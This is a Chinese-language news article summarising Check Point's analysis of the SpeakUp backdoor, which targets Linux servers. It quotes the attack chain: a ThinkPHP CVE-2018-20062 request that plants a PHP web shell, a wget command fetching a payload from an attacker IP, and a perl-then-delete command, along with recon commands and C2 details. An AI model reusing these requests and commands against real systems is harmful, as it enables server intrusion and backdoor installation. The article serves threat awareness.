新型后门***SpeakUp来袭，目标瞄准Linux服务器

最新推荐文章于 2023-09-01 20:07:12 发布

weixin_34167043

最新推荐文章于 2023-09-01 20:07:12 发布

阅读量97

点赞数

原文链接：http://blog.51cto.com/13520190/2350529

版权

网络安全公司Check Point的研究人员在最新发布的一份分析报告中指出，他们于近日发现一场利用试图Linux服务器漏洞来植入一种新型后门***的恶意***活动。值得注意的是，这种新型***几乎绕过了VirusTotal（一个提供免费的可疑文件分析服务的网站）上所有杀毒引擎的检测。

根据其中一台命令和控制（C2）服务器的名称，Check Point的研究人员将这种新型***命名为“SpeakUp”。据称，这种新型***能够利用6个不同的Linux发布版中的已知漏洞。其目前的主要***目标是东亚和拉美地区的Linux服务器，包括托管在亚马逊ASW云服务上的服务器（感染情况见下图）。

Check Point的分析报告指出，SpeakUp能够利用远程代码执行漏洞在受感染服务器所处的内网传播，进而感染更多的服务器。不仅如此，SpeakUp的后门功能还使得它能够感染Mac设备。

感染过程

根据Check Point分析报告的描述，SpeakUp的感染过程从利用ThinkPHP（轻量级PHP开发框架）的一个漏洞开始，以及使用命令注入技术上传一个用来植入并执行pPerl（一种功能丰富的计算机程序语言）后门的PHP shell脚本。

漏洞利用通过三个步骤完成：

步骤1：利用CVE-2018-20062来上传PHP shell脚本

使用GET请求（如下所示），通过ThinkPHP远程代码执行漏洞CVE-2018-20062将shell脚本发送到目标服务器：

s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php

这个shell脚本接下来会通过query中的“module”参数来执行命令。

步骤2：植入后门

发送另一个HTTP请求（如下所示）到目标服务器：

/?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc

实际上，这是一个注入过程，目的是植入ibus payload并将其存储到位置/tmp/e3ac24a0bcddfacd010a6c10f4a814bc

步骤2：启动后门

使用如下HTTP请求来执行后门：

/?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc

执行perl后门，休眠2秒钟，并通过删除该文件来清除感染痕迹。

后门分析

据称，Check Point分析报告中展示的SpeakUp样本（ibus）是于今年1月14日在一台位于我国的服务器上发现的。调查发现，该样本实际上在1月9日就已经被上传到了VirusTotal（一个提供免费的可疑文件分析服务的网站）。VirusTotal的检测结果显示，没有任何一款安全产品将它检测为恶意。

为了逃避安全检测，SpeakUp的代码采用了base64加盐算法加密。不仅如此，C2通信也是采用了相同的方式加密。这也是为什么VirusTotal上的杀毒引擎无法将其检测为恶意的原因所在。

受感染服务器注册

分析报告指出，SpeakUp使用的是HTTP上的POST和GET请求来与其C2服务器进行通信。其中，C2服务器是一个被黑掉的网站。

第一个post请求发送的是受感染服务器ID和其他介绍性的信息，比如已安装脚本的当前版本等。

第一个C2响应是“needrgr”，表示受感染服务器之前未在C2服务器上注册，需要注册。

之后，SpeakUp会通过执行如下Linux命令来POST受感染服务器的完整信息：

Uname (-r, -v, -m, -n,-a, -s)
Whoami
Ifconfig –a
Arp –a
cat /proc/cpuinfo | grep -c “cpu family” 2>&1
who –b

SpeakUp的主要功能

在注册过程完成之后，SpeakUp会继续与C2服务器进行通信。

C2服务器返回的命令如下：

“newtask”-在本地计算机上执行任意代码，从远程服务器下载和执行文件，杀死或卸载程序，发送更新的指纹数据。
“notask”-休眠3秒，并请求其他命令。
“newerconfig”-更新下载的矿工配置文件。

需要说明的是，SpeakUp的持久性是通过cron（计划任务）和内部mutex（互斥锁）来实现的。

感染后的通信

一旦受感染服务器注册完成，C2服务器就会发送新的任务——不同的C2服务器会命名受感染服务器来下载和执行不同的文件。

有一个需要注意的点是，SpeakUp使用了User-Agent用户代理。具体来说，SpeakUp定义了三个用户代理，而受感染服务器在与C2服务器进行通信时必须使用这些代理。其中两个代理是MacOS X User-Agent，第三个是经过哈希处理的字符串：

Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/BADDAD
Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405
E9BC3BD76216AFA560BFB5ACAF5731A3